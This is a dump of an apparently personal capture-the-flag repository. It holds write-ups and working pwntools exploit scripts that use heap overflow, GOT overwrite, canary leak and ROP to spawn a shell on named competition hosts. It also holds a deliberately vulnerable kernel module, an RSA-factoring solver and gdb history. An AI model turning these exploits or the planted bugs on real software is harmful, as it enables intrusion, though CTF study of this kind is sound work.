| 28 | a() 29 | print datetime.datetime.now().strftime('%s') 30 | # okay decompiling main_out.pyc 31 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/proc_ops_version.h: -------------------------------------------------------------------------------- 1 | #ifndef _PROC_OPS_VERSION_H 2 | #define _PROC_OPS_VERSION_H 3 | 4 | #include 5 | 6 | #ifdef CONFIG_COMPAT 7 | #define __add_proc_ops_compat_ioctl(pops, fops) \ 8 | (pops)->proc_compat_ioctl = (fops)->compat_ioctl 9 | #else 10 | #define __add_proc_ops_compat_ioctl(pops, fops) 11 | #endif 12 | 13 | #if LINUX_VERSION_CODE < KERNEL_VERSION(5, 6, 0) 14 | #define proc_ops_wrapper(fops, newname) (fops) 15 | #else 16 | #define proc_ops_wrapper(fops, newname) \ 17 | ({ \ 18 | static struct proc_ops newname; \ 19 | \ 20 | newname.proc_open = (fops)->open; \ 21 | newname.proc_read = (fops)->read; \ 22 | newname.proc_write = (fops)->write; \ 23 | newname.proc_release = (fops)->release; \ 24 | newname.proc_poll = (fops)->poll; \ 25 | newname.proc_ioctl = (fops)->unlocked_ioctl; \ 26 | newname.proc_mmap = (fops)->mmap; \ 27 | newname.proc_get_unmapped_area = (fops)->get_unmapped_area; \ 28 | newname.proc_lseek = (fops)->llseek; \ 29 | __add_proc_ops_compat_ioctl(&newname, fops); \ 30 | &newname; \ 31 | }) 32 | #endif 33 | 34 | #endif 35 | -------------------------------------------------------------------------------- /misc/KDB/KDB.vi.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Debug Linux Kernel trong VM" 3 | date: 2019-02-18T16:48:13+07:00 4 | Tags: ["debug","kernel","linux"] 5 | Language: ["Vietnamese"] 6 | --- 7 | 8 | # Kernel Debugger 9 | 10 | ## Setup 11 | 12 | Mình dùng VirtualBox để debug kernel, VmWare chắc cũng làm được tương tự 13 | 14 | Vào Machine Settings -> Ports -> Serial -> Enable Serial Port 15 | 16 | Port Number: Tuỳ :))) 17 | 18 | Port mode: Host Pipe 19 | 20 | Connect to existing : Bỏ tick 21 | 22 | Path/Address: /tmp/vbox 23 | 24 | Boot Linux lên bình thường, Lấy root dùng 25 | 26 | `echo ttyS0,9600 > /sys/module/kgdboc/parameters/kgdboc` 27 | 28 | nếu Port Number là COM1 -> ttyS0, COM2 -> ttyS1, vv 29 | 30 | Sang máy host, chạy 31 | 32 | `socat -d -d /tmp/vbox pty &` 33 | 34 | Socat sẽ chay background, output ra cái tty là debugger port. 35 | 36 | Lấy `/boot/vmlinuz` , extract bằng `extract-vmlinux` có trên linux source tree 37 | 38 | ``` 39 | gdb vmlinuz 40 | (gdb) target remote /dev/ttyXXX //Cái mà socat output 41 | ``` 42 | 43 | Enjoy 44 | 45 | ## NOTES: 46 | 47 | - Chỉ có thể attach gdb khi vào lúc nó chuẩn bị panic :< 48 | 49 | P/s: Hình như cũng có thể attach từ đầu = boot flag `kgdboc ttyS0,9600 kgdbwait` thì phải? 50 | 51 | ## Reference 52 | Somewhere in the internet :< Sorry 53 | -------------------------------------------------------------------------------- /matesctf/KSMASH/Source/kmod.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | MODULE_LICENSE("Unlicense"); 9 | MODULE_AUTHOR("nyaacate"); 10 | 11 | static struct proc_dir_entry *ent; 12 | 13 | static ssize_t careless_write(struct file *file, const char __user *ubuf, size_t count, loff_t *ppos) 14 | { 15 | char buf[1]; 16 | if (raw_copy_from_user(buf, ubuf, count)) 17 | return -EFAULT; 18 | return count; 19 | } 20 | 21 | static ssize_t careless_read(struct file *file, char __user *ubuf, size_t count, loff_t *ppos) 22 | { 23 | char buf[1]; 24 | 25 | if (raw_copy_to_user(ubuf, buf, count)) 26 | return -EFAULT; 27 | 28 | return count; 29 | } 30 | 31 | static struct file_operations operations = 32 | { 33 | .owner = THIS_MODULE, 34 | .read = careless_read, 35 | .write = careless_write, 36 | }; 37 | 38 | static int havoc_init(void) 39 | { 40 | ent = proc_create("havoc", 0777, NULL, &operations); 41 | printk(KERN_ALERT "havoc module initialized"); 42 | return 0; 43 | } 44 | 45 | static void havoc_cleanup(void) 46 | { 47 | proc_remove(ent); 48 | printk(KERN_WARNING "havoc module disposed"); 49 | } 50 | 51 | module_init(havoc_init); 52 | module_exit(havoc_cleanup); 53 | -------------------------------------------------------------------------------- /FBCTF19-Qual/kpets/pow.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import sys 3 | import string 4 | import random 5 | import md5 6 | import re 7 | 8 | alpha = string.lowercase + string.uppercase + string.digits 9 | 10 | def rand_string(length): 11 | return ''.join([random.choice(alpha) for _ in range(length)]) 12 | 13 | def check(inp, prefix): 14 | if not re.match('^[a-zA-Z0-9]+$', inp): 15 | return False 16 | 17 | digest = md5.new(inp).digest() 18 | return prefix == digest[:len(prefix)] 19 | 20 | def ask(difficulty): 21 | prefix = rand_string(difficulty) 22 | print('Proof of work challenge:'.format(difficulty, prefix)) 23 | print('md5([a-zA-Z0-9]+)[:{}] == {}'.format(difficulty, prefix)) 24 | print('Input: ') 25 | inp = raw_input().strip() 26 | 27 | if check(inp, prefix): 28 | print('Correct :)') 29 | exit(2) 30 | else: 31 | print('Incorrect :(') 32 | 33 | def solve(prefix): 34 | while True: 35 | attempt = rand_string(5) 36 | if check(attempt, prefix): 37 | print('Solution: {}'.format(attempt)) 38 | 39 | if __name__=='__main__': 40 | if len(sys.argv) < 3: 41 | print('use "ask " or "solve "') 42 | elif sys.argv[1] == 'ask': 43 | ask(int(sys.argv[2])) 44 | elif sys.argv[1] == 'solve': 45 | solve(sys.argv[2]) 46 | 47 | -------------------------------------------------------------------------------- /matesctf/notebook/nbe.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | from time import sleep 3 | import os 4 | r =ELF("./notebook") 5 | target = r.got['_IO_getc'] 6 | if 'remote' in os.environ: 7 | io = remote('125.235.240.172',1337) 8 | else: 9 | io = process(r.path) 10 | def back(): 11 | io.sendafter('Delete\n','1') 12 | def next(): 13 | io.sendafter('Delete\n','2') 14 | def add(content): 15 | io.sendafter('Delete\n','3') 16 | sleep(0.25) 17 | io.sendline(content) 18 | 19 | def addbig(content): 20 | io.sendafter('Delete\n','4') 21 | sleep(0.25) 22 | io.sendline(content) 23 | def edit(content): 24 | io.sendafter('Delete\n','5') 25 | sleep(0.25) 26 | io.sendline(content) 27 | def delete(): 28 | io.sendafter('Delete\n','6') 29 | #Add 5 notes 30 | add('A') 31 | add('B') 32 | add('C') 33 | add('D') 34 | add('E') 35 | #The bug is that 16 bytes first of each chunk is used as a part of the notebook double linked list. Plan is Overwrite that value into target so we can Edit it 36 | back()#4 37 | delete() 38 | 39 | back()#2 40 | back()#1 41 | edit("A"*(984)+p64(1000+1000+1+8*2)) #there is a formula. Check overlapping chunks 2 on how2heap 42 | next() 43 | delete() 44 | next()#3 45 | next()#5 46 | addbig("F"*984+p64(0x3f1)+p64(target-16)*2) 47 | back()#5 48 | back()#3 49 | back() 50 | #next() 51 | edit(p64(r.symbols['canyourunme'])) 52 | io.interactive() 53 | -------------------------------------------------------------------------------- /CampCTF/PwningKernelz/definitions.h: -------------------------------------------------------------------------------- 1 | // 2 | // definitions.h 3 | // pwning your kernelz 4 | // 5 | // Created by Linus Henze. 6 | // Copyright © 2019 Linus Henze. All rights reserved. 7 | // 8 | 9 | // 10 | // THIS IS 32 BIT ONLY, USE XCODE 9.4.1 11 | // 12 | 13 | #ifndef definitions_h 14 | #define definitions_h 15 | 16 | #include // memset 17 | #include // thread_set_state 18 | 19 | void prepIretq(); 20 | void swapgs(); 21 | 22 | #pragma pack(4) 23 | 24 | #define x86_SAVED_STATE32 THREAD_STATE_NONE + 1 25 | #define x86_SAVED_STATE64 THREAD_STATE_NONE + 2 26 | 27 | struct x86_saved_state32 { 28 | uint32_t gs; 29 | uint32_t fs; 30 | uint32_t es; 31 | uint32_t ds; 32 | uint32_t edi; 33 | uint32_t esi; 34 | uint32_t ebp; 35 | uint32_t cr2; 36 | uint32_t ebx; 37 | uint32_t edx; 38 | uint32_t ecx; 39 | uint32_t eax; 40 | uint16_t trapno; 41 | uint16_t cpu; 42 | uint32_t err; 43 | uint32_t eip; 44 | uint32_t cs; 45 | uint32_t efl; 46 | uint32_t uesp; 47 | uint32_t ss; 48 | }; 49 | typedef struct x86_saved_state32 x86_saved_state32_t; 50 | 51 | #define x86_SAVED_STATE32_COUNT ((mach_msg_type_number_t) \ 52 | (sizeof (x86_saved_state32_t)/sizeof(unsigned int))) 53 | 54 | #pragma pack(0) 55 | 56 | #endif /* definitions_h */ 57 | -------------------------------------------------------------------------------- /misc/KDB/KDB.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Linux Kernel Debugging in VM" 3 | date: 2019-02-18T16:48:13+07:00 4 | Tags: ["debug","kernel","linux"] 5 | Language: ["English"] 6 | --- 7 | 8 | # Kernel Debugging Instruction 9 | 10 | ## Setup 11 | 12 | I used VirtualBox for Kernel Debugging, VMWare shoud be able to do the same thing. 13 | 14 | Enter Machine Settings -> Ports -> Serial -> Enable Serial Port 15 | 16 | Port Number: Any :))) 17 | 18 | Port mode: `Host Pipe` 19 | 20 | Connect to existing : `unchecked` 21 | 22 | Path/Address: `/tmp/vbox` (placeholder purpose :)) 23 | 24 | Boot Linux normally, run as root 25 | 26 | `$ echo ttyS0,9600 > /sys/module/kgdboc/parameters/kgdboc` 27 | 28 | if Port Number is COM1, use ttyS0; if it is COM2, use ttyS1... etc 29 | 30 | Return to the host machine, run 31 | 32 | `$ socat -d -d /tmp/vbox pty &` 33 | 34 | Socat will run in the background, output the debugger serial port tty. 35 | 36 | Fetch `/boot/vmlinuz` , extract with `extract-vmlinux` (available in the Linux Source Tree) 37 | 38 | ``` 39 | gdb vmlinuz 40 | (gdb) target remote /dev/ttyXXX //The one that socat outputed 41 | ``` 42 | 43 | Enjoy! 44 | 45 | ## Notes 46 | 47 | - You can only attach when the kernel panic, the KDB fired up 48 | 49 | P/s: Maybe we can attach from start with boot flag `kgdboc ttyS0,9600 kgdbwait`? 50 | But it is irrelevant for the purpose of this document so I won't discuss about it here 51 | 52 | ## Reference 53 | Somewhere in the internet :< Sorry 54 | -------------------------------------------------------------------------------- /AceBear2019/babyrsa/solver.py: -------------------------------------------------------------------------------- 1 | from math import gcd 2 | n = 132991872691788324082134861997953579720626276400340540687013665099477551458348129102088618361745158673111757871083783880384786818716675179609957267487624993539275409316283860268944400754318665280566429956092526555947286266806591767802818223484766666271142927737412289284611614382748008696676464334157695348471 3 | r = 46935581819524717607675319301313485106684889957138298327245990937934310422542055504175491111118389178173005337213903985686712577881019021348501335888175248295397612880683801733649468701485843002169345784241756189697901370624950199354359977266595488202827970067500373575114835718127956891051157026649793602861 -2019 4 | r2 = 116622952696503724444465816906812927416603315297598995734109952470693593204299624097288573735780464942963720997719694033378973971604112334413336782598075611956878592757766346915810900585142701963781432186914454664547551508332077962977944352243565906344660561255453917679867097810681750809061744116605905787747 5 | print(gcd(r**2019-r2,n)) 6 | q = 13167511664664654241879722275239314077796628288014993501946163865534098363688179601787128893069641975126584216420427952135663458656314745346906315477111831 7 | print(n//q) 8 | #13167511664664654241879722275239314077796628288014993501946163865534098363688179601787128893069641975126584216420427952135663458656314745346906315477111831 9 | #10100000370508524350215423105629341272568481505717762357232181858867122861251794817081318870772438423452778514690530003171529258285308766771907289581201441 10 | -------------------------------------------------------------------------------- /AceBear2019/babyrsa/rsa.py: -------------------------------------------------------------------------------- 1 | from Crypto.Util.number import * 2 | from secret import flag 3 | 4 | m = bytes_to_long(flag) 5 | 6 | p = getPrime(512) 7 | q = getPrime(512) 8 | n = p*q 9 | e = 65537 10 | 11 | c = pow(m, e, n) 12 | 13 | print(n) 14 | # 132991872691788324082134861997953579720626276400340540687013665099477551458348129102088618361745158673111757871083783880384786818716675179609957267487624993539275409316283860268944400754318665280566429956092526555947286266806591767802818223484766666271142927737412289284611614382748008696676464334157695348471 15 | 16 | print(c) 17 | # 51298575439582965784709335152059190835305126166438646589369499569428503835480418841408132266294091481013029021796067865137829386370176771358549523435135941877535688535317287350930103706346511719290416785053872504275498831270025102211793188751664805369414883387849038010293938521738911310864582949611581363258 18 | 19 | print(pow(p+q, 2019, n)) 20 | # 116622952696503724444465816906812927416603315297598995734109952470693593204299624097288573735780464942963720997719694033378973971604112334413336782598075611956878592757766346915810900585142701963781432186914454664547551508332077962977944352243565906344660561255453917679867097810681750809061744116605905787747 21 | 22 | print(pow(p+2019, q, n)) 23 | # 46935581819524717607675319301313485106684889957138298327245990937934310422542055504175491111118389178173005337213903985686712577881019021348501335888175248295397612880683801733649468701485843002169345784241756189697901370624950199354359977266595488202827970067500373575114835718127956891051157026649793602861 24 | -------------------------------------------------------------------------------- /RITSEC-2018/Gimme sum fud/.gdb_history: -------------------------------------------------------------------------------- 1 | break main 2 | r 3 | n 4 | x $rsp-8 5 | r 6 | n 7 | x $rsp-8 8 | aslr 9 | vmmap 10 | r 11 | n 12 | si 13 | x $rsp-8 14 | x $rbp-8 15 | break main 16 | r 17 | n 18 | n 19 | p $rsp-8 20 | p $rbp-8 21 | x $rbp-8 22 | break main 23 | r 24 | n 25 | vmmap 26 | n 27 | c 28 | r 29 | r 30 | checksec 31 | disass main 32 | disass main.main 33 | r 34 | fini 35 | fini 36 | r 37 | vmmap 38 | x/64wx 0x544000 39 | r 40 | vmmap 41 | find 0x544000,0x584000,"RITSEC{NOT_THE_REAL_FLAG}\n" 42 | find 0xc000000000,0xc000001000,"RITSEC{NOT_THE_REAL_FLAG}\n" 43 | find 0xc41fff8000,0xc420100000,"RITSEC{NOT_THE_REAL_FLAG}\n" 44 | x/s 0xc42009c000 45 | c 46 | r 47 | x/s 0xc42009c000 48 | fini 49 | fini 50 | n 51 | si 52 | bt 53 | r 54 | x 0xc42009c000 55 | x/s 0xc42009c000 56 | aslr 57 | r 58 | r 59 | break main.main 60 | r 61 | n 62 | si 63 | n 64 | n 65 | n 66 | x/64wx 0x5631a0 67 | got 68 | plt 69 | vmmap 70 | x/64s 0x544000 71 | find 0xc41fff8000,0xc420100000,"RITSEC{NOT_THE_REAL_FLAG}\n" 72 | vmmap 73 | find 0x544000,0x584000,"RITSEC{NOT_THE_REAL_FLAG}\n" 74 | x/64wx 75 | x/s 0x5635c0 76 | bt 77 | pwndbg 78 | reinit_pwndbg 79 | aslr on 80 | r 81 | vmma 82 | vmmap 83 | find 0x1e07000,0x1e28000,"RITSEC{NOT_THE_REAL_FLAG}\n" 84 | disass main 85 | disass main.main 86 | break main.main 87 | r 88 | disass main.main 89 | disass 0x491f60 90 | break *0x491f60+225 91 | r 92 | c 93 | c 94 | c 95 | find 0x1e07000,0x1e28000,"RITSEC{NOT_THE_REAL_FLAG}\n" 96 | vmmap 97 | aslr 98 | find 0x5xx000,0x5a9000,"RITSEC{NOT_THE_REAL_FLAG}\n" 99 | find 0x588000,0x5a9000,"RITSEC{NOT_THE_REAL_FLAG}\n" 100 | n 101 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/scull_load: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # $Id: scull_load,v 1.4 2004/11/03 06:19:49 rubini Exp $ 3 | module="scull" 4 | device="scull" 5 | mode="666" 6 | 7 | # Group: since distributions do it differently, look for wheel or use staff 8 | if grep -q '^staff:' /etc/group; then 9 | group="staff" 10 | else 11 | group="wheel" 12 | fi 13 | 14 | # invoke insmod with all arguments we got 15 | # and use a pathname, as insmod doesn't look in . by default 16 | insmod ./$module.ko $* || exit 1 17 | 18 | # retrieve major number 19 | major=$(awk "\$2==\"$module\" {print \$1}" /proc/devices) 20 | 21 | # Remove stale nodes and replace them, then give gid and perms 22 | # Usually the script is shorter, it's scull that has several devices in it. 23 | 24 | rm -f /dev/${device}[0-3] 25 | mknod /dev/${device}0 c $major 0 26 | mknod /dev/${device}1 c $major 1 27 | mknod /dev/${device}2 c $major 2 28 | mknod /dev/${device}3 c $major 3 29 | ln -sf ${device}0 /dev/${device} 30 | chgrp $group /dev/${device}[0-3] 31 | chmod $mode /dev/${device}[0-3] 32 | 33 | # rm -f /dev/${device}pipe[0-3] 34 | # mknod /dev/${device}pipe0 c $major 4 35 | # mknod /dev/${device}pipe1 c $major 5 36 | # mknod /dev/${device}pipe2 c $major 6 37 | # mknod /dev/${device}pipe3 c $major 7 38 | # ln -sf ${device}pipe0 /dev/${device}pipe 39 | # chgrp $group /dev/${device}pipe[0-3] 40 | # chmod $mode /dev/${device}pipe[0-3] 41 | 42 | # rm -f /dev/${device}single 43 | # mknod /dev/${device}single c $major 8 44 | # chgrp $group /dev/${device}single 45 | # chmod $mode /dev/${device}single 46 | 47 | # rm -f /dev/${device}uid 48 | # mknod /dev/${device}uid c $major 9 49 | # chgrp $group /dev/${device}uid 50 | # chmod $mode /dev/${device}uid 51 | 52 | # rm -f /dev/${device}wuid 53 | # mknod /dev/${device}wuid c $major 10 54 | # chgrp $group /dev/${device}wuid 55 | # chmod $mode /dev/${device}wuid 56 | 57 | # rm -f /dev/${device}priv 58 | # mknod /dev/${device}priv c $major 11 59 | # chgrp $group /dev/${device}priv 60 | # chmod $mode /dev/${device}priv 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /RITSEC-2018/Yet another HR Management Framework/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "RITSEC18 Yet another HR Management Framework" 3 | date: 2018-11-22T21:30:28+07:00 4 | Tags: ["RITSEC", "CTF", "pwn","heap","golang"] 5 | Language: ["English"] 6 | --- 7 | 8 | By judging the program's interface, we know that it was a heap challenge. 9 | 10 | Spent quite a lot of time reversing it, I figured it out that it malloc a few bytes for the person struct on the heap, then the name will be malloc with the size entered and that address will be put in the person struct. 11 | 12 | The person struct also has a function pointer which is set to the `printPerson` function. 13 | 14 | The edit feature doesn't check the bound, it just read the number of bytes that we specified. 15 | 16 | So we can use the edit name function to overwrite other person data, which included the function pointer and the name pointer. 17 | 18 | Since the person struct is small, I decided to first create a person with small name and then edit it to overflow the second one to make the heap looks like this 19 | 20 | ------------------------------------------------------------------- 21 | 22 | Struct person 1 | Person 1 Name | Struct person 2 | Person 2 Name | 23 | 24 | ------------------------------------------------------------------- 25 | 26 | I did some reversing and testing and find out what to overwrite. 27 | 28 | First I overwrite the name pointer to the got table to leak the libc. 29 | 30 | Then I overwrite the function pointer to system and put the ";/bin/sh\x00" string at the address. 31 | 32 | Mind the semi-colon, It allows you to skip the prepended bytes. 33 | 34 | Well, I figured out how the addresses are being used just by testing and inspecting the heap many times. 35 | 36 | Anyhow, it works. 37 | 38 | Well, the problem is that the offset isn't always the same. 39 | 40 | But with some luck, I managed to exploit the networked binary once after many times running it again and get the flag. :) 41 | 42 | But then after, I couldn't exploit it again, ever. 43 | 44 | After the ctf ended, I investigated and find 2 others offset which makes the chance of success increased a lot. 45 | 46 | The chance of success is about 80%, but that's enough for the flag. 47 | -------------------------------------------------------------------------------- /matesctf/notebook/index.vi.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "matesCTF notebook" 3 | date: 2018-10-10T11:56:50+07:00 4 | Tags: ["matesCTF", "CTF", "pwn","heap"] 5 | Language: ["Vietnamese"] 6 | --- 7 | 8 | Notebook 9 | === 10 | 11 | [Exploit](https://github.com/TrungNguyen1909/writeups/tree/master/matesctf/notebook) 12 | 13 | Bài này mình pwn được sau khi được tiền bối *Đào Xuân Nghĩa* thông não sau giờ. 14 | 15 | Đây là 1 bài *Heap overflow*. 16 | 17 | checksec: 18 | 19 | ``` 20 | [*] '/root/matesctf/notebook' 21 | Arch: amd64-64-little 22 | RELRO: Partial RELRO 23 | Stack: No canary found 24 | NX: NX enabled 25 | PIE: No PIE (0x400000) 26 | ``` 27 | 28 | Có 2 loại note (bình thường: 1000bytes. Lớn: 2000bytes) 29 | 30 | Các notes được lưu ở dạng double linked-list. 16 bytes đầu của mỗi note sẽ lưu note tiếp theo(FD) và note trước (BK) 31 | 32 | ## Goal 33 | 34 | Overwrite FD và BK để nó trỏ về GOT của `_IO_getc`. Sau đó dùng chức năng Edit để ghi vị trí của `canyourunme` vào 35 | 36 | ## Bug 37 | 38 | Lỗi logic nghiêm trong ở phần Edit. 39 | 40 | Đối với note bé, ta sẽ có (1000-16)=984 bytes cho dữ liệu, tuy nhiên, ta lại được EDIT những 992 bytes. 41 | 42 | => Tức là đã tràn 8 bytes để có thể edit cái size của note tiếp theo 43 | 44 | ## Exploit 45 | 46 | Như vậy là ta có thể áp dụng kĩ thuật [overlapping chunks](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/overlapping_chunks_2.c) 47 | 48 | Mình sẽ edit size của 1 note thành tổng của nó và cái tiếp theo rồi free. 49 | Như vậy, ptmalloc2 sẽ bị lừa rằng là nó sẽ có 1 khoảng trống gấp đôi ở đó và sẽ allocate Big note vào đó. 50 | 51 | Trên thực tế, cái note sau vẫn được chương trình coi như bình thường 52 | 53 | => Ta sẽ tạo 1 cái Big note ở đó rồi đè lên FD và BK bằng `vị trí của GOT _IO_getc - 16` 54 | 55 | Khi đi qua cái note đó, thì dù Back hay Next đều khiến cho chương trình coi GOT là 1 cái note và tức là ta có thể edit tuỳ ý. 56 | 57 | Edit nó bằng vị trí của `canyourunme` là ta có shell. 58 | 59 | Như thường lệ, `cat flag` sẽ cho chúng ta flag. 60 | 61 | ## Reference 62 | 63 | Đào Trọng Nghĩa 64 | 65 | [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/overlapping_chunks_2.c) 66 | -------------------------------------------------------------------------------- /tetctf/babyfirst/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import os 4 | from time import sleep 5 | import re 6 | e = ELF("./babyfirst") 7 | libc = ELF("./libc-2.27.so") 8 | if 'remote' in os.environ: 9 | io = remote("babyfirst.chung96vn.cf", 31337) 10 | else: 11 | io = process(e.path,env={"LD_PRELOAD":libc.path}) 12 | 13 | #LEAK PASSWORD 14 | 15 | io.sendline('1') 16 | sleep(0.2) 17 | io.send('A'*32) 18 | sleep(0.2) 19 | io.sendline('2') 20 | sleep(0.2) 21 | d = io.recv() 22 | log.info(d) 23 | pattern = re.compile(r'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(.{20})',re.DOTALL) 24 | password = pattern.search(d).group(1) 25 | log.info("Password {}".format(password)) 26 | log.info("Login to admin") 27 | io.sendline('1') 28 | sleep(0.2) 29 | io.send('admin') 30 | sleep(0.2) 31 | io.send(password[:16]) 32 | sleep(0.2) 33 | log.info(io.recv()) 34 | #PLAY 35 | #Leak Stack canary (maybe PIE slide? nope. 1 by 1) 36 | io.sendline('2') 37 | sleep(0.2) 38 | log.info(io.recv()) 39 | io.send('A'*41) 40 | sleep(0.2) 41 | pattern = re.compile(r'A{41}(.{7})',re.DOTALL) 42 | d = io.recv() 43 | log.info(d) 44 | m = pattern.match(d) 45 | canary = u64('\x00'+m.group(1)) 46 | log.info("Canary:"+hex(canary)) 47 | #Leak retaddr for PIE slide 48 | io.send('A'*56) 49 | sleep(0.2) 50 | pattern = re.compile(r'A{56}(.{6,8})(?=\n)',re.DOTALL) 51 | d = io.recv() 52 | log.info(repr(d)) 53 | m = pattern.match(d) 54 | log.info(repr(m.group(1))) 55 | retaddr = u64(m.group(1).ljust(8,"\x00")) 56 | log.info("retaddr:"+hex(retaddr)) 57 | ebase = retaddr-3981 58 | ropchain = '' 59 | ropchain +=p64(ebase+0x1023) #pop rdi 60 | ropchain +=p64(ebase+e.got['puts']) #rsi: GOT address of puts 61 | ropchain +=p64(ebase+e.plt['puts']) #return to printf@PLT 62 | ropchain +=p64(ebase+e.symbols['Play']) #Play it again 63 | io.send("END"+cyclic(40-3)+p64(canary)+p64(0)+ropchain) 64 | sleep(0.2) 65 | d = io.recv() 66 | pattern = re.compile(r'.{62}(.{6}).',re.DOTALL) 67 | putsaddr = u64(pattern.match(d).group(1).ljust(8,'\x00')) 68 | log.info("puts addr:"+hex(putsaddr)) 69 | libcbase = putsaddr - libc.symbols['puts'] 70 | binsh = libcbase + next(libc.search('/bin/sh')) 71 | log.info(hex(binsh)) 72 | ropchain = '' 73 | ropchain += p64(libcbase+0x3eb0b) 74 | ropchain += p64(0) 75 | ropchain += p64(libcbase+0x4f2c5) 76 | raw_input("Get Shell?") 77 | io.send("END"+cyclic(40-3)+p64(canary)+p64(0)+ropchain) 78 | io.interactive() 79 | -------------------------------------------------------------------------------- /RITSEC-2018/Yet another HR Management Framework/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from pwn import * 3 | import os 4 | from time import sleep 5 | e = ELF("./pwn2") 6 | libc = ELF("./libc.so.6") 7 | 8 | if 'remote' in os.environ: 9 | io = remote("localhost",1337) 10 | else: 11 | io = process("./pwn2",env={"LD_PRELOAD":libc.path}) 12 | def add(name,age=None): 13 | if age is None: 14 | age=1337 15 | log.info(io.recv(timeout=2)) 16 | io.sendline('1') 17 | io.sendlineafter('Enter name length: ',str(len(name))) 18 | io.sendlineafter("Enter person's name: ",name) 19 | io.sendlineafter("Enter person's age: ",str(age)) 20 | def edit(idx,name): 21 | log.info(io.recv(timeout=2)) 22 | io.sendline('2') 23 | io.sendlineafter("Enter person's index (0-based): ",str(idx)) 24 | io.sendlineafter("Enter new name length: ",str(len(name)+1)) 25 | io.sendlineafter("Enter the new name:",name) 26 | def pr(idx): 27 | log.info(io.recv(timeout=2)) 28 | io.sendline('3') 29 | io.sendlineafter("Enter person's index (0-based):",str(idx)) 30 | def de(idx): 31 | log.info(io.recv(timeout=2)) 32 | io.sendline('4') 33 | io.sendlineafter("Enter person's index (0-based):",str(idx)) 34 | def ex(): 35 | log.info(io.recv(timeout=2)) 36 | io.sendline('5') 37 | raw_input("Exp?") 38 | add(cyclic(7)) 39 | add(cyclic(7)) 40 | raw_input("Smash?") 41 | #edit(0,cyclic(cyclic_find(0x62616172))+p32(e.plt['puts'])) 42 | payload = cyclic(168)+p32(0x080ebb10)+p32(e.got['puts'])+cyclic(312-168-8)+p32(0)+p32(0x11)+p32(0x080ebb10)+p32(e.got['puts'])+ cyclic(488-312-16)+p32(0x080ebb10)+p32(e.got['puts']) 43 | #payload = cyclic(312)+(p32(0)+p32(0x11)+p32(e.plt['puts'])+p32(e.got['puts'])) 44 | edit(0,payload) 45 | pr(1) 46 | d= io.recv(timeout=2) 47 | log.info(repr(d)) 48 | d= io.recv(timeout=2) 49 | log.info(repr(d)) 50 | raw_input("Parse?") 51 | off = d.find("\xf7") 52 | log.info(repr(d[off-3:off+1])) 53 | addr = u32(d[off-3:off+1]) 54 | log.info(hex(addr)) 55 | libcbase = addr- libc.symbols['__libc_start_main'] 56 | log.info(hex(libcbase)) 57 | log.info(hex(libcbase+0x15ba0b+0x2d0e3b)) 58 | raw_input("Next?") 59 | #payload = cyclic(312)+(p32(0)+p32(0x11)+p32(libcbase+libc.symbols['system'])+";/bin/sh\x00") 60 | payload = cyclic(168)+p32(libcbase+libc.symbols['system'])+";/bin/sh\x00"+cyclic(320-168-13)+p32(libcbase+libc.symbols['system'])+";/bin/sh\x00"+cyclic(488-320-13)+p32(libcbase+libc.symbols['system'])+";/bin/sh\x00" 61 | edit(0,payload) 62 | pr(1) 63 | io.interactive() 64 | -------------------------------------------------------------------------------- /matesctf/babyOVERFLOW/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "matesCTF babyOVERFLOW" 3 | date: 2018-10-10T11:35:23+07:00 4 | Tags: ["matesCTF", "CTF", "pwn","stack-buffer-overflow"] 5 | Language: ["Vietnamese"] 6 | --- 7 | 8 | babyOVERFLOW 9 | === 10 | 11 | [Exploit](https://github.com/TrungNguyen1909/writeups/tree/master/matesctf/babyOVERFLOW) 12 | 13 | 14 | 15 | Tên file bài này gợi ý rất nhiều. 16 | 17 | "baby" thường được dùng trong CTF chỉ những bài đơn giản dành cho người mới 18 | 19 | "OVERFLOW" ở đây thì chỉ đến stack buffer overflow. 20 | 21 | Chạy nó, nhập vào thì nó in ra lại đúng như thế. 22 | 23 | Ta có thể thử nhập vào "%x" để xem có format string không thì kết quả là chương trình chạy bình thường 24 | 25 | Thử với 1 input thật dài thì thấy không có lỗi gì xảy ra. 26 | 27 | `Ctrl+D` để gửi `EOF` thì cũng không thoát chương trình. Mình thử viết `\x00` bằng printf thì chương trình dừng. 28 | Bằng Code Python inline, mình thử in ra 100 cái `\x00` thì thấy 29 | 30 | ``` 31 | *** stack smashing detected ***: terminated 32 | Aborted 33 | ``` 34 | 35 | À tức là đây chính xác là 1 bài BOF cơ bản có stack canary 36 | 37 | Giờ là lúc để checksec binary: 38 | 39 | ``` 40 | 41 | Arch: amd64-64-little 42 | 43 | RELRO: Partial RELRO 44 | 45 | Stack: Canary found 46 | 47 | NX: NX enabled 48 | 49 | PIE: No PIE (0x400000) 50 | ``` 51 | 52 | Chúng ta có 1 binary 64bit, no-PIE, NX(W^X) có canary. 53 | 54 | ## Leak stack canary 55 | Mình dùng pattern & gdb break tại đoạn kiểm tra cookies thì tìm ra được cookies ở offset 71(cách chữ cái đầu tiên là 71 kí tự) 56 | 57 | *Stack cookies luôn được ghi bắt đầu bằng null bytes `\x00` (little-endian) để tránh puts hoặc printf in ra.* 58 | 59 | OK, vì ta biết nó luôn luôn như vậy nên ta ghi đè lên nó để puts có thể leak được canary ra. 60 | 61 | Vì vậy sau đó, puts sẽ in ra giá trị canary ở cuối. 62 | 63 | Như vậy là ta có thể leak được canary 1 cách dễ dàng. 64 | 65 | Payload: 66 | 72 junk bytes. 67 | 68 | ## Exploit 69 | Stack: 70 | 71 | ``` 